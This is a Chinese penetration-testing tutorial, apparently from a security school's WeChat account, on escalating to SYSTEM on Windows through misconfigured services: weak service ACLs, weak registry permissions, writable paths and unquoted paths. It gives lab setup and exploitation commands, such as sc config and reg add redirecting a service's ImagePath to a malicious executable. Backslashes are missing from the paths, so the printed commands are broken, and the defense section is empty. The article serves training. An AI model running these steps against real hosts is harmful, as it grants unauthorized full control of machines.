本文由掌控安全学院 -
yuy0ung
投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
用户安装的一些软件会在本地注册一些服务,大多数服务在计算机开机时以系统system权限启动,应用软件在注册服务时会在以下路径创建对应注册表项:
计算机HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices
其中服务的imagepath指向系统服务启动的二进制程序:
这里便产生一种提权的思路:
由于大多数系统服务是system权限启动,如果让服务启动时执行其他程序,该程序就可以随着服务的启动获得系统权限,达到提权目录
这类提权往往是用户配置不当导致的,接下来分类细说
服务配置权限脆弱
windows的系统服务通过ACL来指定用户对其拥有的权限,常见权限如下:
如果目标主机的用户在配置服务时存在疏忽,使低权限用户对高权限下运行的系统服务拥有更改服务配置的权限(SERVICE_CHANGE_CONFIG或SERVICE_ALL_ACCESS),即可通过该低权限用户修改服务启动时的二进制文件路径,通过修改服务启动文件的路径“ binpath”,将其替换为恶意程序的路径,这样服务启动时便会运行恶意程序
存在缺陷的系统服务可以通过AccessChk[1]来枚举:
环境准备
sc create Yuy0ung binpath= "C:1.exe"
net user apache Admin123456 /add
subinacl /service Yuy0ung /grant=apache=F
提权实验
accesschk.exe /accepteula -uwcqv apache *
SERVICE_ALL_ACCESS
或SERVICE_CHANGE_CONFIG
其中之一,则允许我们配置服务sc config Yuy0ung binpath= "C:UsersapacheDesktopartifact.exe"# 注意=后面有个空格
sc start Yuy0ung
服务注册表权限脆弱
环境准备
sc create test binpath= "C:1.exe"
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestest
:提权实验
shell accesschk.exe /accepteula -uvwqk users HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices
powershell Get-Acl -Path "HKLM:SYSTEMCurrentControlSetServicestest" | fl
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestest" /t REG_EXPAND_SZ/v ImagePath /d "C:UsersapacheDesktopartifact.exe" /f
sc qc test
sc start test
服务路径权限脆弱
环境准备
C:Program Filestest
sc create svcpath binpath= ""C:Program Filestest1.exe""
icacls "C:Program Filestest" /grant Users:(OI)(CI)F /T
提权实验
winPEASany.exe quiet notcolor serviceinfo
C:Program Filestest1.exe
和C:Program Filestest1.exe
能完全控制未引用的服务路径
C:Program FilesSomeFolderService.exe 因为 Program Files 和 Some Folder
都存在空格,就可能存在截断,依次寻找如下的程序并且执行阶段如下:C:Program.exeC:Program FilesSome.exeC:Program FilesSome FolderService.exe
1、服务路径没有用引号引起来2、服务的路径中存在空格3、服务以最高权限启动后4、具有到对应目录下写文件的权限
环境准备
sc create "service" binpath= "C:Program FilesCommon Filestesttest.exe" start= auto
sc qc service
icacls "C:" /grant "BUILTINUsers":W
提权实验
winPEASany.exe quiet notcolor serviceinfo
icacls "C:"icacls "C:Program Files"icacls "C:Program FilesCommon Files"
针对不安全服务提权的防御措施
References
[1]
AccessChk: https://learn.microsoft.com/zh-cn/sysinternals/downloads/accesschk所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):Windows系统服务提权(含提权实验+环境配置教程)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论